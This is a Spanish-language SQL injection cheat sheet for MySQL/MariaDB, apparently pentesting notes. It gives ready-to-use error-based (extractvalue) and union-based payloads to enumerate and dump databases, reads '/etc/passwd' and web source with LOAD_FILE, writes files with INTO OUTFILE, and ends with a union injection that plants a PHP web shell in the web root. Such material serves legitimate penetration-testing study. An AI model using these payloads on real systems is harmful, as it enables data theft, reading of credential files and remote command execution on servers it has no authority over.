MySQL / MariaDB

Enumeración

Versión

# Versión
SELECT version()
SELECT @@version

Usuarios

# Usuario actual
SELECT current_user()
SELECT system_user()
SELECT user()

# Listado de usuarios
SELECT user FROM mysql.user

Privilegios

# Privilegios 
SELECT grantee,privilege_type FROM information_schema.user_privileges

# Privilegio de superusuario (Y = Yes)
SELECT super_priv FROM mysql.user WHERE user="<user>"

Bases de datos

# Nombre de base de datos actual
SELECT database()

# Listado de base de datos
SHOW databases
SELECT table_schema FROM information_schema.tables GROUP BY table_schema

Tablas

# Tablas de base de datos actual
SHOW tables

# Tablas de una base de datos
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='<database>'

Columnas

# Columnas de una tabla
SELECT column_name, data_type from information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'

Datos

# Datos de una tabla
SELECT * FROM <database>.<table>

Error-based SQLi

extractvalue('',concat('>',version()))
,+extractvalue('',concat('>',version()))

Bases de datos

# Nombre de base de datos actual
extractvalue('',concat('>',database()))

# Listado de base de datos
extractvalue('',concat('>',(
	SELECT group_concat(table_schema) 
	FROM (
		SELECT table_schema 
		FROM information_schema.tables 
		GROUP BY table_schema) 
	AS foo)
	)
)

Tablas

extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		AND table_name NOT IN ('<table>')) 
	AS foo)
	)
)

# Ir incrementando el valor de offset
extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		limit 1 offset 1)
	AS foo)
	)
)

Columnas

extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>'
		AND column_name NOT IN ('<column>')) 
	AS foo)
	)
)

Datos

extractvalue('',concat('>',(SELECT substring(<column>,1,32) FROM <table> limit 1 offset 0)))

Union-based SQLi

Bases de datos

# Nombre de base de datos actual
UNION SELECT 1,database(),3,4-- -
# Listado de base de datos
UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -

Tablas

UNION SELECT 1,table_schema,table_name,4 FROM information_schema.tables WHERE table_schema='<database>'-- -

Columnas

UNION SELECT 1,column_name,data_type,2 FROM information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'-- -

Datos

UNION SELECT 1,columna1,columna2,4 FROM <database>.<table>-- -

Obtener información dentro de una sola columna

UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1-- -
UNION SELECT CONCAT_WS(' - ', columna1, columna2, columna3) FROM tabla1-- -

Lectura y escritura de archivos

Para poder leer y escribir archivos se deben cumplir las siguientes condiciones:

  • El usuario debe tener habilitado el privilegio "FILE".

  • Valor de la variable global secure_file_priv:

    • Un valor vacío nos permite leer y escribir en cualquier directorio.

    • Si se establece un determinado directorio, solo podemos leer y escribir desde la carpeta especificada por la variable.

    • NULL significa que no podemos leer y escribir en ningún directorio.

  • Acceso de lectura y escritura a la ubicación en la que queremos leer o escribir el archivo.

Obtener valor de la variable global secure_file_priv.

SELECT @@GLOBAL.secure_file_priv
SELECT variable_name, variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv"
UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -

Lectura

SELECT LOAD_FILE('/etc/passwd')
UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
UNION SELECT 1, LOAD_FILE('/var/www/html/index.php'), 3, 4-- -

Escritura

Escritura de archivos.

SELECT * FROM <table> INTO OUTFILE '/tmp/file'
SELECT 'test' INTO OUTFILE '/tmp/test.txt'
UNION SELECT 1,'test',3,4 INTO OUTFILE '/var/www/html/test.txt'-- -

Escritura de web shell.

webshell.php
<?php echo system($_GET['cmd']); ?>
UNION SELECT "","<?php echo system($_GET['cmd']); ?>","","" INTO OUTFILE '/var/www/html/webshell.php'-- -

Última actualización